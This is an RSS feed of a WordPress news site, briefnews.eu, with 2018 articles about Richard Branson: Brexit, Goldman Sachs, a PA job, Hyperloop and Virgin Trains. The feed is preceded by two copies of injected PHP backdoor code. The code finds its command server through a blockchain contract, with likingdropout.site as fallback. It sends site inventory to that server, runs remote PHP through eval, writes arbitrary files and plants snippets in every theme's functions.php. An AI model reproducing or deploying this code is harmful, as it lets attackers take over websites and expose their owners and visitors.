// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Branson – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 04 Sep 2018 17:33:07 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Branson – Brief News https://briefnews.eu 32 32 Piers Morgan GRILLS Richard Branson for trying to overturn democratic process of Brexit https://briefnews.eu/piers-morgan-grills-richard-branson-for-trying-to-overturn-democratic-process-of-brexit/ https://briefnews.eu/piers-morgan-grills-richard-branson-for-trying-to-overturn-democratic-process-of-brexit/#respond Tue, 04 Sep 2018 17:33:07 +0000 http://briefnews.eu/piers-morgan-grills-richard-branson-for-trying-to-overturn-democratic-process-of-brexit/

Speaking to the ITV host on Good Morning Britain, Mr Branson claimed will be a “disaster” for the UK and that Britons are “shooting themselves on the foot” voting to Leave. 

But Piers Morgan grilled the arch-Remainer arguing he should feel uneasy about trying to overturn the democratic process of choosing to leave the European Union. 

The ITV veteran asked: “As somebody who believes in freedom, believes in democracy – it’s been the bedrock of your entire life – don’t you feel a little uneasy that the country voted and it voted the opposite way you would have liked but that now there is a concerted effort to overturn Brexit and almost pretend the referendum didn’t happen.

“Do you not as a freedom fighter to your bones feel a little uneasy that the democratic process may not be respected here?”

The anti-Brexit business mogul claimed Britons had been misled during the June 2016 referendum campaign and deserved a second vote on the final deal reached by Theresa May with Brussels. 

He said: “What I feel, and what I have felt ever since the referendum, is that the British public were misled on anything from the bus promising a vast amount of money into the NHS etcetera, etcetera.

“And none of us knew what was going to be negotiated and once this negotiation is at a close the British people should decide whether or not they like what’s on offer.

“We didn’t know what was on offer during the referendum.

“We will know what’s on offer in a few months time and I think what’s going to be on offer is not going to be very nice for Britain.

“By the GDP in Britain we were the best in Europe, we’re now the worst.

“If Brexit happens it will be a disaster for Great Britain, so I think it would be very, very unwise for business leaders to not speak out when they can see people shooting themselves in the foot.”

Mr Morgan promptly hit back arguing that if the Remain side won a second Brexit referendum it would only be fair for Brexiteers to ask for a third vote then.

He pointed out: “If we had a People’s Vote and we voted against and it reversed the referendum, would have any problem in principle if the Brexiteers then demanded a third vote?

“A sort of winner takes all. Is there anything to stop them from having the right to ask for a third vote?”

Billionaire Branson then tried to argue “Brexit would not see the light of the day” if there was another general election in five years time as Brexiteers would probably no longer be around, he claimed. 

He said: “I think there if there was another election for instance in five years time, a lot of the people who voted for Brexit wouldn’t be around, there would be a lot more young people and I think Brexit would not see the light of the day.

“Young people want to be able to live and work in Europe, they want to be able to travel where they want.

“They don’t want to pay tax every time they send goods to and from Europe.

“And I think overwhelmingly people would come out in rich numbers to ensure they can stay part of Europe for generations to come.

“So I wouldn’t be fearful if there was a further referendum in a few years to come.”

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]]> https://briefnews.eu/piers-morgan-grills-richard-branson-for-trying-to-overturn-democratic-process-of-brexit/feed/ 0 A throwaway comment in a conversation with Richard Branson hints at the future of Goldman Sachs (GS) https://briefnews.eu/a-throwaway-comment-in-a-conversation-with-richard-branson-hints-at-the-future-of-goldman-sachs-gs/ https://briefnews.eu/a-throwaway-comment-in-a-conversation-with-richard-branson-hints-at-the-future-of-goldman-sachs-gs/#respond Sat, 17 Mar 2018 14:38:45 +0000 http://briefnews.eu/a-throwaway-comment-in-a-conversation-with-richard-branson-hints-at-the-future-of-goldman-sachs-gs/ David Solomon Richard BransonC-SPAN

  • On Monday, Goldman Sachs announced that co-COO Harvey Schwartz would retire, setting the stage for David Solomon, his counterpart, to succeed Lloyd Blankfein as CEO.
  • Reports suggest the transfer of power could come as soon as the end of this year.
  • The position of Solomon, an unconventional Wall Street figure, as the heir apparent hints at cultural change at a firm that fancies itself the Google of Wall Street.

In mid-February, one month before he became the heir apparent to Goldman Sachs CEO Lloyd Blankfein, co-COO David Solomon was on a stage, cracking jokes with the billionaire playboy Richard Branson, a man whose large, blond mane and puckish, freewheeling demeanor seemed at odds with that of a stodgy white-shoe investment bank.

The contrast was lost on few, least of all the two men sharing the stage at Goldman Sachs’ small-business summit.

See the rest of the story at Business Insider

NOW WATCH: Goldman Sachs is telling its multimillionaire clients not to worry about valuations or inflation

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]]> https://briefnews.eu/a-throwaway-comment-in-a-conversation-with-richard-branson-hints-at-the-future-of-goldman-sachs-gs/feed/ 0 Want to live on Necker Island? Virgin Mogul Richard Branson is on the hunt for new a PA https://briefnews.eu/want-to-live-on-necker-island-virgin-mogul-richard-branson-is-on-the-hunt-for-new-a-pa/ https://briefnews.eu/want-to-live-on-necker-island-virgin-mogul-richard-branson-is-on-the-hunt-for-new-a-pa/#respond Fri, 09 Mar 2018 16:05:28 +0000 http://briefnews.eu/want-to-live-on-necker-island-virgin-mogul-richard-branson-is-on-the-hunt-for-new-a-pa/

Are you growing tired of the dreary UK weather, the nine to five and long commute?

Well, Virgin founder and multi-billionaire, Sir Richard Branson may have something up his sleeve: an exciting new job opportunity in paradise.

He’s on the hunt for a new personal and administrative assistant – and anyone can apply for the most glamorous entry-level role in the world.

What’s more, the chosen candidate will get to live on his 30-hectare private island, which is part of the Caribbean’s Virgin Islands.

The island has hosted high-profile and influential visitors in the past including the Obamas, Princess Diana and Kate Winslet.

Known for its luxurious accommodation, a week’s stay for a private room on Necker Island in 2018 would set you back just under £23,000.

The job description is currently being advertised on LinkedIn.

The entry-level role covers two busy offices including PA to Necker Island’s general manger, Keny Jones, and admin assistant to Richard Branson’s office.

The lucky candidate should be “someone with fantastic admin and organisational skills as well as practical experience in a busy office,” states the job description.

However “personality is just as important,” the ad continues.

“As well as being a top notch administrator, we’re also looking for someone who is self-motivated, outgoing and enthusiastic who can balance this with the essential need for discretion and confidentiality”.

Main responsibilities include diary and email management, general correspondence, filing and archiving, booking travel and providing cover for Richard’s PA when required.

“A whole host of other admin-related tasks” are also required.

However, there’s a word of warning: “it’s a busy role in two even busier offices so think carefully as it’s not for everyone (despite the sunshine).

The application process is simple, with candidates needing to email a video of themselves along with their CV to iwanttobeyourpaaa@virgin.com.

Lasting two minutes or less, the video should be crammed with important facts like why you want the job, an interesting fact and what unique skills and experience make you perfect for the role. The closing date for applications is March 10th 2018.

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]]> https://briefnews.eu/want-to-live-on-necker-island-virgin-mogul-richard-branson-is-on-the-hunt-for-new-a-pa/feed/ 0 Richard Branson reveals plans for global Hyperloop high-speed transport system by 2021 https://briefnews.eu/richard-branson-reveals-plans-for-global-hyperloop-high-speed-transport-system-by-2021/ https://briefnews.eu/richard-branson-reveals-plans-for-global-hyperloop-high-speed-transport-system-by-2021/#respond Mon, 19 Feb 2018 15:23:25 +0000 http://briefnews.eu/richard-branson-reveals-plans-for-global-hyperloop-high-speed-transport-system-by-2021/

Sir Richard Branson will bring a super fast hyper loop transport system to India, before rolling out a global high-speed transport system by 2021.

Virgin Hyperloop One will test its technology in the country over the next few years ahead of launching a global working system by 2021.

Passengers will be taken from Pune’s city centre to Navi Mumbai International Airport in 25 minutes, cutting a whopping three hours from the current journey time.

The Hyperloop will make 150 million passenger trips every year once complete.

Branson compared the possible impact of the new transport to the introduction of steam trains in the 20th century.

The system could theoretically reach speeds of up to 670mph with no turbulence. The fastest recorded speed using hyperloop so far is 240mph.

Virgin Hyperloop One has an agreement with the Indian state of Maharashtra to build the rail network between the cities of Pune and Mumbai.

An operational demonstration track will be built first, and is planned to be complete in two to three years.

This will then be used as a platform for testing, certifying, and regulating the system for commercial operations.

The complete Pune-Mumbai route will be finished in five to seven years. The deal was signed as part of Branson’s visit to the Magnetic Maharashtra Convergence 2018 in Mumbai.

In a statement, the Virgin boss said: “I believe Virgin Hyperloop One could have the same impact upon India in the 21st century as trains did in the 20th century.

“The Pune-Mumbai route is an ideal first corridor as part of a national hyperloop network that could dramatically reduce travel times between India’s major cities to as little as two hours.

“Virgin Hyperloop One can help India become a global transportation pioneer and forge a new world-changing industry.”

According to Virgin Hyperloop One, the new proposed route in India will save more than 90 million hours of travel time, and provide citizens with greater opportunities for social and economic mobility.

And according to an initial pre-feasibility study by Virgin Hyperloop One, the route could lead to £39.2billion in socio-economic benefits over 30 years.

At the moment, the Hyperloop One system is being tested at a 1.8 mile (3 km) full-scale and full speed enclosed prototype in the desert in North Las Vegas in Nevada.

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]]> https://briefnews.eu/richard-branson-reveals-plans-for-global-hyperloop-high-speed-transport-system-by-2021/feed/ 0 Richard Branson orders Virgin Trains to restock Daily Mail amid ‘censorship’ accusation https://briefnews.eu/richard-branson-orders-virgin-trains-to-restock-daily-mail-amid-censorship-accusation/ https://briefnews.eu/richard-branson-orders-virgin-trains-to-restock-daily-mail-amid-censorship-accusation/#respond Mon, 15 Jan 2018 12:20:53 +0000 http://briefnews.eu/richard-branson-orders-virgin-trains-to-restock-daily-mail-amid-censorship-accusation/ British tycoon Richard Branson has ordered Virgin Trains to restock the Daily Mail amid concerns that its decision last week to stop selling the paper had amounted to “censorship.”

Virgin Trains last week announced it would stop supplying its customers with the right-wing tabloid as it “was not compatible with the VT brand and our beliefs.”

Read more

© Panoramic/ Global Look Press

